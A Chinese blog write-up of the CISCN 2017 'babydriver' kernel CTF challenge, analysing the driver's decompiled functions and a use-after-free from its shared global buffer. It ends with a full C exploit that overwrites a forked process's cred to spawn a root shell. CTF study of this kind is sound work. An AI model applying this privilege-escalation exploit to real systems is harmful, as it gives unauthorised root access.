本文最后更新于:星期五, 二月 15日 2019, 5:08 下午

题目来源:CISCN2017 babydriver

拿到手后是一个压缩包,解压后有三个文件

boot.sh        #启动脚本
bzImage        #内核binary
rootfs.cpio    #文件系统映像

boot.sh

1550198147800

​ 可以发现开启了smep防护,而smep保护主要功能是禁止内核执行用户态的代码

将rootfs.cpio解压,查看里面的文件

1550198467931

​ 可以发现flag的owner被设为root,以及它加载了babydriver.ko这个内核模块。很明显,漏洞应该就在这个模块中

防护机制:

☁  4.4.72  checksec babydriver.ko 
[*] '/home/zs0zrc/pwn/kernel/babydriver/file/lib/modules/4.4.72/babydriver.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

将内核模块取出,用ida分析

分析下主要的函数

babyrelease

int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);    //释放堆空间
  printk("device release\n");
  return 0;
}

这里涉及到了一个结构体

babydevice_t

00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000                                         ; XREF: .bss:babydev_struct/r
00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
00000000                                         ; babyopen+26/w ... ; offset
00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
00000008                                         ; babyioctl+3C/w ...
00000010 babydevice_t    ends

babyopen

申请一块大小为0x40的空间,地址赋给babydev_struct.device_buf,同时将babydev_struct.device_buf_len设为0x40

int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}

babyioctl

这个函数实现了一个设备控制命令0x10001,功能是将全局变量 babydev_struct中的babydev_struct.device_buf释放掉,然后再根据用户传入的size重新申请一块空间,并且将babydev_struct.device_buf_len设置为对应的值

// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

babywirte

这里我用ida反编译的代码看的有点奇怪,所以我看了下汇编的代码,这里copy_from_user()中的参数应该是

copy_from_user(babydev_struct.device_buf,buffer,length),就是从用户空间buffer中拷贝数据到babydev_struct.device_buf

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len <= v4 )
    return result;
  v6 = v4;
  copy_from_user();
  result = v6;
  return result;
}

babyread

这个和babywrite差不多,将babydev_struct.device_buf 的内容拷贝到buffer中

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer, length, offset);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len <= v4 )
    return result;
  v6 = v4;
  copy_to_user(buffer);
  result = v6;
  return result;
}

漏洞点

这里存在一个伪条件竞争的UAF漏洞,如果同时打开两个设备,那么后面分配的设备会覆盖掉之前的设备,因为babydev_struct是全局变量。同理,如果释放掉第一个设备,那么第二个设备也是被释放过的。

利用思路

这里采用改写进程的cred结构体来达到提权的目的。

  1. 打开两次设备,通过ioctl改写设备大小为cred结构体的大小,然后释放掉设备
  2. fork一个新进程,这个新进程的cred结构体所在的空间会和之前释放掉的设备的空间重合
  3. 通过另一个文件描述符写,将cred中的uid和gid改为0

对应版本的cred结构体,大小为0xa8

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

exp:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);

    ioctl(fd1,0x10001,0xa8);

    close(fd1);

    int pid = fork();

    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if (pid == 0)
    {
        int buf[20]={0};
        write(fd2,buf,28);
        system("/bin/sh");
        puts("you are root now");
    }

    else
    {
        wait(NULL);
    }

    return 0;

}

静态编译exp,然后将得到的二进制文件放入解压的文件夹下,重新打包系统

find . | cpio -o --format=newc > rootfs.cpio

启动系统,运行exp,获取root权限

1550221693129


Linux_Kernel      pwn kernel

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!